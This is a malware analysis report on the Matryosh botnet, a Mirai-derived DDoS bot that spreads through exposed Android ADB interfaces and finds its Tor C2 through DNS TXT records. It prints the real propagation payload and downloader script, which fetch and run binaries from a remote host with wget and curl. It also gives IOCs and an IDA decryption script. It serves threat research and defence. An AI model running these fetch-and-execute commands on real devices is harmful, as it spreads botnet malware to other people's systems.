Background

On January 25, 2021, 360 netlab BotMon system labeled a suspicious ELF file as
Mirai, but the network traffic did not match Mirai's characteristics.
This anomaly caught our attention, and after analysis, we determined that it was a new botnet that reused the Mirai framework, propagated through the ADB interface, and targeted Android-like devices with the main purpose of DDoS attacks.
It redesigns the encryption algorithm and obtains TOR C2 and the TOR proxys from remote hosts via DNS TXT.

The encryption algorithm implemented in this botnet and the process of obtaining C2 are nested in layers, like Russian nesting dolls.For this reason we named it Matryosh.

As the analysis progresses, more details emerge. Based on the similarity of C2 instructions, we speculate that it is another attempt by the Moobot group, which is very active at the moment.

Matryosh has no integrated scanning, vulnerability exploitation modules, the main function is DDoS attack, it supports tcpraw, icmpecho, udpplain attacks, the basic process is shown in the following figure.

Propagation

Currently Matryosh is propagated via adb, the captured payload is shown below, the main function is to download and execute scripts from the remote host 199.19.226.25.

CNXN............M
..¼±§±host::features=cmd,shell_v2OPENX...........iQ..°¯º±shell:cd /data/local/tmp/; rm -rf wget bwget curl bcurl; wget http://199.19.226.25/wget; sh wget; busybox wget http://199.19.226.25/bwget; sh bwget; curl http://199.19.226.25/curl > curl; sh curl; busybox curl http://199.19.226.25/bcurl > bcurl; sh bcurl.sh.

The downloaded scripts are shown below, and the main function is to download and execute Matryosh samples of multipleCPU architectures from the remote host.

#!/bin/sh

n="i586 mips mipsel armv5l armv7l"
http_server="199.19.226.25"

for a in $n
do
    curl http://$http_server/nXejnFjen/$a > asFxgte
    chmod 777 asFxgte
    ./asFxgte android
done

for a in $n
do
    rm $a
done

Sample Analysis

Matryosh supports x86, arm, mips and other cpu architectures. x86 samples are selected for analysis in this paper, and the sample information is as follows.

MD5:c96e333af964649bbc0060f436c64758
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Lib:uclibc
Packer:None

The function of Matryosh is relatively simple, when it runs on infected device, it renames the process and prints out the stdin: pipe failed to confuse the user. Then decrypts the remote hostname and uses the DNS TXT request to obtain TOR C2 and TOR proxy.After that establishes connection with the TOR proxy. And finally communicates with TOR C2 through the proxy and waits for the execution of the commands sent by C2.

Decrypting sensitive resources

As you can see from the IDA, Matryosh stores sensitive resources encrypted to prevent the relevant functions from being spotted by security researchers.
taowa_ida
The ciphertext is composed of 1 header and N body, and the structure is shown below.

struct header {
 	u8 msg_len;
 	u8 key;
 	u8 body_cnt;
 }
 struct body {
 	u8 key;
 	u8 body_len;
 	char *body_buf;
 }

Take the ciphertext06 29 02 DC 10 81 96 85 87 94 82 F5 D0 86 D5 D0 91 F8 FF F5 F5 FB 06 D2 11 04 00 00 00 as an example, the decryption process is shown as follows.

header.msglen=0x06	--->valid length of the ciphertext is 6 bytes
header.key=0x29
header.body_cnt=0x2	---> 2 body

body1.key=0xdc		
body1.len=0x10		--->length of body1 is 0x10 bytes

body1 decryption
header.key XOR body1.key = key of body1 to decrypt,0xf5 
ciphertext: 81 96 85 87 94 82 F5 D0 86 D5 D0 91 F8 FF F5 F5
plaintext:74 63 70 72 61 77 00 25 73 20 25 64 0d 0a 00 00  |tcpraw.%s %d....|

body2.key=0xfb
body2.len=0x6		--->length of body2 is 0x6 bytes
body2 decryption
header.key xor body2.key = key of body2 to decrypt,0x2f
ciphertext:D2 11 04 00 00 00
plaintext: 00 c3 d6 d2 d2 d2                                |.ÃÖÒÒÒ|


The effective ciphertext length is 6 bytes, so just take the first 6 bytes of body1 to get the plaintext tcpraw.

The decryption script in the Appendix can be used to decrypt the following list of resources, which can be seen in the attack methods, remote host and other information.

tcpraw icmpecho udpplain
/proc/ /cmdline stdin: pipe failed
hosts.hiddenservice.xyz .hiddenservice.xyz onion.hiddenservice.xyz

Process renaming

Rename the process to a 14 bytes case-sensitive process name to confuse the user.
taowa_proc
The actual effect is shown in the following figure.
taowa_name

Obtaining TOR proxy and TOR C2

The process of obtaining proxy and C2 by Bot can be divided into 4 steps.

step 1

Decrypt to get remote host A (hosts.hiddenservice.xyz) and get its DNS TXT resolution result.
taowa_step1

   hosts.hiddenservice.xyz. 1751	IN	TXT	"iekfgakxorbfjcefbiyj"

step 2

Decrypt to get the remote host suffix (.hiddenservice.xyz), then extract the characters from the string obtained in the first step (iekfgakxorbfjcefbiyj) according to the combination rules in the table below, and take the first row (14,9) in the table below as an example, extract the characters with index 14 and 9 in the string, and merge to get a remote hostprefix er.

Index Value
14,9 er
19,10 jb
3,4 fg
6,2 kk
8,13 oc
12,18 jy
11,1 fe
7,15 xf
5,17 ai
16,0 bi

Finally, the prefix and suffix of the remote hosts obtained above are stitched together to get the list of remote hosts B, as follows.

jb.hiddenservice.xyz er.hiddenservice.xyz
fg.hiddenservice.xyz kk.hiddenservice.xyz
oc.hiddenservice.xyz jy.hiddenservice.xyz
fe.hiddenservice.xyz xf.hiddenservice.xyz
ai.hiddenservice.xyz bi.hiddenservice.xyz

The actual network traffic in the figure below, validates our analysis.
taowa_step2

step 3

Request DNS TXT record from the remote host B obtained in step 2 to get the address of the TOR proxy, up to 10.
taowa_step3

oc.hiddenservice.xyz.	1799	IN	TXT	"198.245.53.58:9095"
fe.hiddenservice.xyz.	1799	IN	TXT	"198.27.82.186:9050"

step 4

Decrypt to get remote host C (onion.hiddenservice.xyz), request DNS TXT records from it, and get TOR C2 address.
taowa_step4

onion.hiddenservice.xyz. 1799	IN	TXT	"4qhemgahbjg4j6pt.onion"

At this point, all the basic information needed for C2 communication has been obtained, and Bot starts C2 communication.

C2 Communication

To communicate with C2, Bot first selects a TOR proxy at random and establishes a connection through the following codesnippet.
taowa.proxy
The TOR C2, PORT information is then sent to the TOR proxy that wants to establish communication, where the port is hard-coded 31337.
taowa_c2
If the TOR proxy returns 05 00 00 01 00 00 00 00 00 00, the C2 connection is successful and subsequent communication can begin. The actual network traffic in the following figure clearly shows the above process.
taowa_pcap
After sending the golive packet Bot starts waiting for C2 to give the instruction. The first byte of the instruction packet specifies the type of instruction.

  • Command code: 0x84 for heartbeat
    taowa_beat
  • Command code: 0x55 for uploads the group information of the Bot
    taowa_reg
  • Command code: non-0x55, non-0x84, DDoS attack
    taowa_atk

Relationship with Moobot group

The Moobot group is a fairly active botnet group that has been innovating in encryption algorithms and network communication. We exposed a new branch developed by this group, LeetHozer, on April 27, 2020, and compared with Matryosh, the similarities between the two are reflected in the following 3 aspects.

1.Using a model like TOR C2

2.C2 port (31337) & attack method name is the same

3.C2 command format is highly similar

Based on these considerations, we speculate that Matryosh isthe new work of thisparent group.

Conclusion

Matryosh's cryptographic design has some novelty, but still falls into the Mirai single-byte XOR pattern, which is why it is easily flagged by antivirus software as Mirai; the changes at the network communication level indicates that its authors wanted to implement a mechanism to protect C2 by downlinking the configuration from the cloud, doing this will bring some difficulties to static analysis or simple IOC simulator.

However, the act of putting all remote hosts under the same SLD is not optimal, it might change and we will keep an eye on it.All the related domains have been blocked by our DNSmon system.

Contact us

Readers are always welcomed to reach us on twitter or email to netlab at 360 dot cn.

IOC

Sample MD5

ELF
6d8a8772360034d811afd74721dbb261
9e0734f658908139e99273f91871bdf6
c96e333af964649bbc0060f436c64758
e763fab020b7ad3e46a7d1d18cb85f66

SCRIPT
594f40a39e4f8f5324b3e198210ac7db
1151cd05ee4d8e8c3266b888a9aea0f8
93530c1b942293c0d5d6936820c6f6df
b9d166b8e9972204ac0bbffda3f8eec6

URL

kk.hiddenservice.xyz	
er.hiddenservice.xyz	
jy.hiddenservice.xyz	
fe.hiddenservice.xyz	
xf.hiddenservice.xyz	
oc.hiddenservice.xyz	
jb.hiddenservice.xyz	
ai.hiddenservice.xyz	
bi.hiddenservice.xyz	
fg.hiddenservice.xyz

hosts.hiddenservice.xyz	
onion.hiddenservice.xyz	

C2

4qhemgahbjg4j6pt.onion:31337

Proxy Ip

46.105.34.51:999
139.99.239.154:9095
139.99.134.95:9095
198.27.82.186:9050
188.165.233.121:9151
198.245.53.58:9095
51.83.186.134:9095
139.99.45.195:9050
51.195.91.193:9095
147.135.208.13:9095

Downloader

i586 mips mipsel armv5l armv7l
hxxp://199.19.226.25/nXejnFjen/{CPU ARCH}

Appendix(IDA script)

import idc
import idaapi
import idautils


# c96e333af964649bbc0060f436c64758
def find_function_arg(addr):
    round = 0
    while round < 2:
        addr = idc.PrevHead(addr)
        if GetMnem(addr) == "mov" and "offset" in GetOpnd(addr, 1):
            return GetOperandValue(addr, 1)
        if GetMnem(addr) == "push" and "offset" in GetOpnd(addr, 0):
            return GetOperandValue(addr, 0)
        round += 1

    return 0


def get_string(addr):
    out = []
    while True:
        if Byte(addr) != 0:
            out.append(Byte(addr))
        else:
            break
        addr += 1
    return out


def descrypt(enc_lst):
    msg_length = enc_lst[0]
    xor_key1 = enc_lst[1]
    group = enc_lst[2]

    msg_lst = enc_lst[3:]
    des_msg = []
    for i in range(0, group):
        xor_key2 = msg_lst[0]
        group_len = msg_lst[1]
        key = xor_key1 ^ xor_key2
        for j in range(2, group_len + 2):
            des_msg.append(chr(msg_lst[j] ^ key))
        if len(des_msg) > msg_length:
            des_msg = des_msg[0:msg_length]
            break
        msg_lst = msg_lst[group_len + 2:]
    print("".join(des_msg))


descrypt_func_ea = 0x080493E0

refsto_lst = []
for ref in CodeRefsTo(descrypt_func_ea, 1):
    refsto_lst.append(ref)

ens_str_addr = []
for ea in refsto_lst:
    addr = find_function_arg(ea)
    if addr != 0:
        ens_str_addr.append(addr)
        # print(hex(addr))
    else:
        print("Missed arg at {}".format(ea))

for ea in ens_str_addr:
    ret = get_string(ea)
    descrypt(ret)